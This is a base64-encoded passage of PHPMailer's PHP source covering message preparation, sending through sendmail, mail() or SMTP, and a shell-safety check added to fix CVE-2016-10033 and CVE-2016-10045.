CAgICAgICAgICAgICAgICAgIHJldHVybiBzdWJzdHIoJGFkZHJlc3MsIDAsICRwb3MpIC4gJHB1bnljb2RlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYWRkcmVzczsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYW5kIHNlbmQgaXQuCiAgICAgKiBVc2VzIHRoZSBzZW5kaW5nIG1ldGhvZCBzcGVjaWZpZWQgYnkgJE1haWxlci4KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4gZmFsc2Ugb24gZXJyb3IgLSBTZWUgdGhlIEVycm9ySW5mbyBwcm9wZXJ0eSBmb3IgZGV0YWlscyBvZiB0aGUgZXJyb3IuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBzZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICBpZiAoISR0aGlzLT5wcmVTZW5kKCkpIHsKICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJHRoaXMtPnBvc3RTZW5kKCk7CiAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKICAgICAgICAgICAgJHRoaXMtPnNldEVycm9yKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUHJlcGFyZSBhIG1lc3NhZ2UgZm9yIHNlbmRpbmcuCiAgICAgKiBAdGhyb3dzIHBocG1haWxlckV4Y2VwdGlvbgogICAgICogQHJldHVybiBib29sZWFuCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBwcmVTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQgPSAwOyAvLyBSZXNldCBlcnJvcnMKICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgPSAnJzsKCiAgICAgICAgICAgIC8vIERlcXVldWUgcmVjaXBpZW50IGFuZCBSZXBseS1UbyBhZGRyZXNzZXMgd2l0aCBJRE4KICAgICAgICAgICAgZm9yZWFjaCAoYXJyYXlfbWVyZ2UoJHRoaXMtPlJlY2lwaWVudHNRdWV1ZSwgJHRoaXMtPlJlcGx5VG9RdWV1ZSkgYXMgJHBhcmFtcykgewogICAgICAgICAgICAgICAgJHBhcmFtc1sxXSA9ICR0aGlzLT5wdW55ZW5jb2RlQWRkcmVzcygkcGFyYW1zWzFdKTsKICAgICAgICAgICAgICAgIGNhbGxfdXNlcl9mdW5jX2FycmF5KGFycmF5KCR0aGlzLCAnYWRkQW5BZGRyZXNzJyksICRwYXJhbXMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgoY291bnQoJHRoaXMtPnRvKSArIGNvdW50KCR0aGlzLT5jYykgKyBjb3VudCgkdGhpcy0+YmNjKSkgPCAxKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdwcm92aWRlX2FkZHJlc3MnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFZhbGlkYXRlIEZyb20sIFNlbmRlciwgYW5kIENvbmZpcm1SZWFkaW5nVG8gYWRkcmVzc2VzCiAgICAgICAgICAgIGZvcmVhY2ggKGFycmF5KCdGcm9tJywgJ1NlbmRlcicsICdDb25maXJtUmVhZGluZ1RvJykgYXMgJGFkZHJlc3Nfa2luZCkgewogICAgICAgICAgICAgICAgJHRoaXMtPiRhZGRyZXNzX2tpbmQgPSB0cmltKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICR0aGlzLT4kYWRkcmVzc19raW5kID0gJHRoaXMtPnB1bnllbmNvZGVBZGRyZXNzKCR0aGlzLT4kYWRkcmVzc19raW5kKTsKICAgICAgICAgICAgICAgIGlmICghJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+JGFkZHJlc3Nfa2luZCkpIHsKICAgICAgICAgICAgICAgICAgICAkZXJyb3JfbWVzc2FnZSA9ICR0aGlzLT5sYW5nKCdpbnZhbGlkX2FkZHJlc3MnKSAuICcgKHB1bnlFbmNvZGUpICcgLiAkdGhpcy0+JGFkZHJlc3Nfa2luZDsKICAgICAgICAgICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGVycm9yX21lc3NhZ2UpOwogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCRlcnJvcl9tZXNzYWdlKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTZXQgd2hldGhlciB0aGUgbWVzc2FnZSBpcyBtdWx0aXBhcnQvYWx0ZXJuYXRpdmUKICAgICAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICAgICAkdGhpcy0+Q29udGVudFR5cGUgPSAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlJzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJHRoaXMtPnNldE1lc3NhZ2VUeXBlKCk7CiAgICAgICAgICAgIC8vIFJlZnVzZSB0byBzZW5kIGFuIGVtcHR5IG1lc3NhZ2UgdW5sZXNzIHdlIGFyZSBzcGVjaWZpY2FsbHkgYWxsb3dpbmcgaXQKICAgICAgICAgICAgaWYgKCEkdGhpcy0+QWxsb3dFbXB0eSBhbmQgZW1wdHkoJHRoaXMtPkJvZHkpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdlbXB0eV9tZXNzYWdlJyksIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBDcmVhdGUgYm9keSBiZWZvcmUgaGVhZGVycyBpbiBjYXNlIGJvZHkgbWFrZXMgY2hhbmdlcyB0byBoZWFkZXJzIChlLmcuIGFsdGVyaW5nIHRyYW5zZmVyIGVuY29kaW5nKQogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciA9ICcnOwogICAgICAgICAgICAkdGhpcy0+TUlNRUJvZHkgPSAkdGhpcy0+Y3JlYXRlQm9keSgpOwogICAgICAgICAgICAvLyBjcmVhdGVCb2R5IG1heSBoYXZlIGFkZGVkIHNvbWUgaGVhZGVycywgc28gcmV0YWluIHRoZW0KICAgICAgICAgICAgJHRlbXBoZWFkZXJzID0gJHRoaXMtPk1JTUVIZWFkZXI7CiAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyID0gJHRoaXMtPmNyZWF0ZUhlYWRlcigpOwogICAgICAgICAgICAkdGhpcy0+TUlNRUhlYWRlciAuPSAkdGVtcGhlYWRlcnM7CgogICAgICAgICAgICAvLyBUbyBjYXB0dXJlIHRoZSBjb21wbGV0ZSBtZXNzYWdlIHdoZW4gdXNpbmcgbWFpbCgpLCBjcmVhdGUKICAgICAgICAgICAgLy8gYW4gZXh0cmEgaGVhZGVyIGxpc3Qgd2hpY2ggY3JlYXRlSGVhZGVyKCkgZG9lc24ndCBmb2xkIGluCiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdtYWlsJykgewogICAgICAgICAgICAgICAgaWYgKGNvdW50KCR0aGlzLT50bykgPiAwKSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmFkZHJBcHBlbmQoJ1RvJywgJHRoaXMtPnRvKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ1RvJywgJ3VuZGlzY2xvc2VkLXJlY2lwaWVudHM6OycpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHRoaXMtPm1haWxIZWFkZXIgLj0gJHRoaXMtPmhlYWRlckxpbmUoCiAgICAgICAgICAgICAgICAgICAgJ1N1YmplY3QnLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcih0cmltKCR0aGlzLT5TdWJqZWN0KSkpCiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBTaWduIHdpdGggREtJTSBpZiBlbmFibGVkCiAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkRLSU1fZG9tYWluKQogICAgICAgICAgICAgICAgYW5kICFlbXB0eSgkdGhpcy0+REtJTV9zZWxlY3RvcikKICAgICAgICAgICAgICAgIGFuZCAoIWVtcHR5KCR0aGlzLT5ES0lNX3ByaXZhdGVfc3RyaW5nKQogICAgICAgICAgICAgICAgICAgIG9yICghZW1wdHkoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICAgICAgYW5kIHNlbGY6OmlzUGVybWl0dGVkUGF0aCgkdGhpcy0+REtJTV9wcml2YXRlKQogICAgICAgICAgICAgICAgICAgICAgICBhbmQgZmlsZV9leGlzdHMoJHRoaXMtPkRLSU1fcHJpdmF0ZSkKICAgICAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICAgICApCiAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgJGhlYWRlcl9ka2ltID0gJHRoaXMtPkRLSU1fQWRkKAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC4gJHRoaXMtPm1haWxIZWFkZXIsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmVuY29kZUhlYWRlcigkdGhpcy0+c2VjdXJlSGVhZGVyKCR0aGlzLT5TdWJqZWN0KSksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVCb2R5CiAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgJHRoaXMtPk1JTUVIZWFkZXIgPSBydHJpbSgkdGhpcy0+TUlNRUhlYWRlciwgIlxyXG4gIikgLiBzZWxmOjpDUkxGIC4KICAgICAgICAgICAgICAgICAgICBzdHJfcmVwbGFjZSgiXHJcbiIsICJcbiIsICRoZWFkZXJfZGtpbSkgLiBzZWxmOjpDUkxGOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIEFjdHVhbGx5IHNlbmQgYSBtZXNzYWdlLgogICAgICogU2VuZCB0aGUgZW1haWwgdmlhIHRoZSBzZWxlY3RlZCBtZWNoYW5pc20KICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHBvc3RTZW5kKCkKICAgIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAvLyBDaG9vc2UgdGhlIG1haWxlciBhbmQgc2VuZCB0aHJvdWdoIGl0CiAgICAgICAgICAgIHN3aXRjaCAoJHRoaXMtPk1haWxlcikgewogICAgICAgICAgICAgICAgY2FzZSAnc2VuZG1haWwnOgogICAgICAgICAgICAgICAgY2FzZSAncW1haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+c2VuZG1haWxTZW5kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgY2FzZSAnc210cCc6CiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5zbXRwU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgICAgIGNhc2UgJ21haWwnOgogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bWFpbFNlbmQoJHRoaXMtPk1JTUVIZWFkZXIsICR0aGlzLT5NSU1FQm9keSk7CiAgICAgICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgICAgICRzZW5kTWV0aG9kID0gJHRoaXMtPk1haWxlci4nU2VuZCc7CiAgICAgICAgICAgICAgICAgICAgaWYgKG1ldGhvZF9leGlzdHMoJHRoaXMsICRzZW5kTWV0aG9kKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gJHRoaXMtPiRzZW5kTWV0aG9kKCR0aGlzLT5NSU1FSGVhZGVyLCAkdGhpcy0+TUlNRUJvZHkpOwogICAgICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5tYWlsU2VuZCgkdGhpcy0+TUlNRUhlYWRlciwgJHRoaXMtPk1JTUVCb2R5KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKHBocG1haWxlckV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICAkdGhpcy0+ZWRlYnVnKCRleGMtPmdldE1lc3NhZ2UoKSk7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgJGV4YzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgLyoqCiAgICAgKiBTZW5kIG1haWwgdXNpbmcgdGhlICRTZW5kbWFpbCBwcm9ncmFtLgogICAgICogQHBhcmFtIHN0cmluZyAkaGVhZGVyIFRoZSBtZXNzYWdlIGhlYWRlcnMKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvZHkgVGhlIG1lc3NhZ2UgYm9keQogICAgICogQHNlZSBQSFBNYWlsZXI6OiRTZW5kbWFpbAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNlbmRtYWlsU2VuZCgkaGVhZGVyLCAkYm9keSkKICAgIHsKICAgICAgICAvLyBDVkUtMjAxNi0xMDAzMywgQ1ZFLTIwMTYtMTAwNDU6IERvbid0IHBhc3MgLWYgaWYgY2hhcmFjdGVycyB3aWxsIGJlIGVzY2FwZWQuCiAgICAgICAgaWYgKCFlbXB0eSgkdGhpcy0+U2VuZGVyKSBhbmQgc2VsZjo6aXNTaGVsbFNhZmUoJHRoaXMtPlNlbmRlcikpIHsKICAgICAgICAgICAgaWYgKCR0aGlzLT5NYWlsZXIgPT0gJ3FtYWlsJykgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1mJXMnOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHNlbmRtYWlsRm10ID0gJyVzIC1vaSAtZiVzIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+TWFpbGVyID09ICdxbWFpbCcpIHsKICAgICAgICAgICAgICAgICRzZW5kbWFpbEZtdCA9ICclcyc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkc2VuZG1haWxGbXQgPSAnJXMgLW9pIC10JzsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gVE9ETzogSWYgcG9zc2libGUsIHRoaXMgc2hvdWxkIGJlIGNoYW5nZWQgdG8gZXNjYXBlc2hlbGxhcmcuICBOZWVkcyB0aG9yb3VnaCB0ZXN0aW5nLgogICAgICAgICRzZW5kbWFpbCA9IHNwcmludGYoJHNlbmRtYWlsRm10LCBlc2NhcGVzaGVsbGNtZCgkdGhpcy0+U2VuZG1haWwpLCAkdGhpcy0+U2VuZGVyKTsKCiAgICAgICAgaWYgKCR0aGlzLT5TaW5nbGVUbykgewogICAgICAgICAgICBmb3JlYWNoICgkdGhpcy0+U2luZ2xlVG9BcnJheSBhcyAkdG9BZGRyKSB7CiAgICAgICAgICAgICAgICBpZiAoIUAkbWFpbCA9IHBvcGVuKCRzZW5kbWFpbCwgJ3cnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBmcHV0cygkbWFpbCwgJ1RvOiAnIC4gJHRvQWRkciAuICJcbiIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRoZWFkZXIpOwogICAgICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBwY2xvc2UoJG1haWwpOwogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soCiAgICAgICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksCiAgICAgICAgICAgICAgICAgICAgYXJyYXkoJHRvQWRkciksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPmNjLAogICAgICAgICAgICAgICAgICAgICR0aGlzLT5iY2MsCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAgICAgJGJvZHksCiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkZyb20KICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBpZiAoJHJlc3VsdCAhPSAwKSB7CiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXhlY3V0ZScpIC4gJHRoaXMtPlNlbmRtYWlsLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmICghQCRtYWlsID0gcG9wZW4oJHNlbmRtYWlsLCAndycpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdleGVjdXRlJykgLiAkdGhpcy0+U2VuZG1haWwsIHNlbGY6OlNUT1BfQ1JJVElDQUwpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZwdXRzKCRtYWlsLCAkaGVhZGVyKTsKICAgICAgICAgICAgZnB1dHMoJG1haWwsICRib2R5KTsKICAgICAgICAgICAgJHJlc3VsdCA9IHBjbG9zZSgkbWFpbCk7CiAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKAogICAgICAgICAgICAgICAgKCRyZXN1bHQgPT0gMCksCiAgICAgICAgICAgICAgICAkdGhpcy0+dG8sCiAgICAgICAgICAgICAgICAkdGhpcy0+Y2MsCiAgICAgICAgICAgICAgICAkdGhpcy0+YmNjLAogICAgICAgICAgICAgICAgJHRoaXMtPlN1YmplY3QsCiAgICAgICAgICAgICAgICAkYm9keSwKICAgICAgICAgICAgICAgICR0aGlzLT5Gcm9tCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIGlmICgkcmVzdWx0ICE9IDApIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4ZWN1dGUnKSAuICR0aGlzLT5TZW5kbWFpbCwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CgogICAgLyoqCiAgICAgKiBGaXggQ1ZFLTIwMTYtMTAwMzMgYW5kIENWRS0yMDE2LTEwMDQ1IGJ5IGRpc2FsbG93aW5nIHBvdGVudGlhbGx5IHVuc2FmZSBzaGVsbCBjaGFyYWN0ZXJzLgogICAgICoKICAgICAqIE5vdGUgdGhhdCBlc2NhcGVzaGVsbGFyZyBhbmQgZXNjYXBlc2hlbGxjbWQgYXJlIGluYWRlcXVhdGUgZm9yIG91ciBwdXJwb3NlcywgZXNwZWNpYWxseSBvbiBXaW5kb3dzLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyaW5nIFRoZSBzdHJpbmcgdG8gYmUgdmFsaWRhdGVkCiAgICAgKiBAc2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9QSFBNYWlsZXIvUEhQTWFpbGVyL2lzc3Vlcy85MjQgQ1ZFLTIwMTYtMTAwNDUgYnVnIHJlcG9ydAogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICovCiAgICBwcm90ZWN0ZWQgc3RhdGljIGZ1bmN0aW9uIGlzU2hlbGxTYWZlKCRzdHJpbmcpCiAgICB7CiAgICAgICAgLy8gRnV0dXJlLXByb29mCiAgICAgICAgaWYgKGVzY2FwZXNoZWxsY21kKCRzdHJpbmcpICE9PSAkc3RyaW5nCiAgICAgICAgICAgIG9yICFpbl9hcnJheShlc2NhcGVzaGVsbGFyZygkc3RyaW5nKSwgYXJyYXkoIickc3RyaW5nJyIsICJcIiRzdHJpbmdcIiIpKQogICAgICAgICkgewogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQoKICAgICAgICAkbGVuZ3RoID0gc3RybGVuKCRzdHJpbmcpOwoKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbGVuZ3RoOyAkaSsrKSB7CiAgICAgICAgICAgICRjID0gJHN0cmluZ1skaV07CgogICAgICAgICAgICAvLyBBbGwgb3RoZXIgY2hhcmFjdGVycyBoYXZlIGEgc3BlY2lhbCBtZWFuaW5nIGluIGF0IGxlYXN0IG9uZSBjb21tb24gc2hlbGwsIGluY2x1ZGluZyA9IGFuZCArLgogICAgICAgICAgICAvLyBGdWxsIHN0b3AgKC4pIGhhcyBhIHNwZWNpYWwgbWVhbmluZyBpbiBjbWQuZXhlLCBidXQgaXRzIGltcGFjdCBzaG91bGQgYmUgbmVnbGlnaWJsZSBoZXJlLgogICAgICAgICAgICAvLyBOb3RlIHRoYXQgdGhpcyBkb2VzIHBlcm1pdCBub24tTGF0aW4gYWxwaGFudW1lcmljIGNoYXJhY3RlcnMgYmFzZWQgb24gdGhlIGN1cnJlbnQgbG9jYWxlLgogICAgICAgICAgICBpZiAoIWN0eXBlX2FsbnVtKCRjKSAmJiBzdHJwb3MoJ0BfLS4nLCAkYykgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIHJldHVybiB0cnVlOwogICAgfQoKICAgIC8qKgogICAgICogQ2hlY2sgd2hldGhlciBhIGZpbGUgcGF0aCBpcyBvZiBhIHBlcm1pdHRlZCB0eXBlLgogICAgICogVXNlZCB0byByZWplY3QgVVJMcyBhbmQgcGhhciBmaWxlcyBmcm9tIGZ1bmN0aW9ucyB0aGF0IGFjY2VzcyBsb2NhbCBmaWxlIHBhdGhzLAogICAgICogc3VjaCBhcyBhZGRBdHRhY2htZW50LgogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBBIHJlbGF0aXZlIG9yIGFic29sdXRlIHBhdGggdG8gYSBmaWxlLgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHByb3RlY3RlZCBzdGF0aWMgZnVuY3Rpb24gaXNQZXJtaXR0ZWRQYXRoKCRwYXRoKQogICAgewogICAgICAgIHJldHVybiAhcHJlZ19tYXRjaCgnI15bYS16XSs6Ly8jaScsICRwYXRoKTsKICAgIH0KCiAgICAvKioKICAgICAqIFNlbmQgbWFpbCB1c2luZyB0aGUgUEhQIG1haWwoKSBmdW5jdGlvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlciBUaGUgbWVzc2FnZSBoZWFkZXJzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5IFRoZSBtZXNzYWdlIGJvZHkKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vYm9vay5tYWlsLnBocAogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIG1haWxTZW5kKCRoZWFkZXIsICRib2R5KQogICAgewogICAgICAgICR0b0FyciA9IGFycmF5KCk7CiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPnRvIGFzICR0b2FkZHIpIHsKICAgICAgICAgICAgJHRvQXJyW10gPSAkdGhpcy0+YWRkckZvcm1hdCgkdG9hZGRyKTsKICAgICAgICB9CiAgICAgICAgJHRvID0gaW1wbG9kZSgnLCAnLCAkdG9BcnIpOwoKICAgICAgICAkcGFyYW1zID0gbnVsbDsKICAgICAgICAvL1RoaXMgc2V0cyB0aGUgU01UUCBlbnZlbG9wZSBzZW5kZXIgd2hpY2ggZ2V0cyB0dXJuZWQgaW50byBhIHJldHVybi1wYXRoIGhlYWRlciBieSB0aGUgcmVjZWl2ZXIKICAgICAgICBpZiAoIWVtcHR5KCR0aGlzLT5TZW5kZXIpIGFuZCAkdGhpcy0+dmFsaWRhdGVBZGRyZXNzKCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgIC8vIENWRS0yMDE2LTEwMDMzLCBDVkUtMjAxNi0xMDA0NTogRG9uJ3QgcGFzcyAtZiBpZiBjaGFyYWN0ZXJzIHdpbGwgYmUgZXNjYXBlZC4KICAgICAgICAgICAgaWYgKHNlbGY6OmlzU2hlbGxTYWZlKCR0aGlzLT5TZW5kZXIpKSB7CiAgICAgICAgICAgICAgICAkcGFyYW1zID0gc3ByaW50ZignLWYlcycsICR0aGlzLT5TZW5kZXIpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPlNlbmRlcikgYW5kICFpbmlfZ2V0KCdzYWZlX21vZGUnKSBhbmQgJHRoaXMtPnZhbGlkYXRlQWRkcmVzcygkdGhpcy0+U2VuZGVyKSkgewogICAgICAgICAgICAkb2xkX2Zyb20gPSBpbmlfZ2V0KCdzZW5kbWFpbF9mcm9tJyk7CiAgICAgICAgICAgIGluaV9zZXQoJ3NlbmRtYWlsX2Zyb20nLCAkdGhpcy0+U2VuZGVyKTsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCA9IGZhbHNlOwogICAgICAgIGlmICgkdGhpcy0+U2luZ2xlVG8gYW5kIGNvdW50KCR0b0FycikgPiAxKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCR0b0FyciBhcyAkdG9BZGRyKSB7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG9BZGRyLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICRoZWFkZXIsICRwYXJhbXMpOwogICAgICAgICAgICAgICAgJHRoaXMtPmRvQ2FsbGJhY2soJHJlc3VsdCwgYXJyYXkoJHRvQWRkciksICR0aGlzLT5jYywgJHRoaXMtPmJjYywgJHRoaXMtPlN1YmplY3QsICRib2R5LCAkdGhpcy0+RnJvbSk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG8sICR0aGlzLT5TdWJqZWN0LCAkYm9keSwgJGhlYWRlciwgJHBhcmFtcyk7CiAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRyZXN1bHQsICR0aGlzLT50bywgJHRoaXMtPmNjLCAkdGhpcy0+YmNjLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tKTsKICAgICAgICB9CiAgICAgICAgaWYgKGlzc2V0KCRvbGRfZnJvb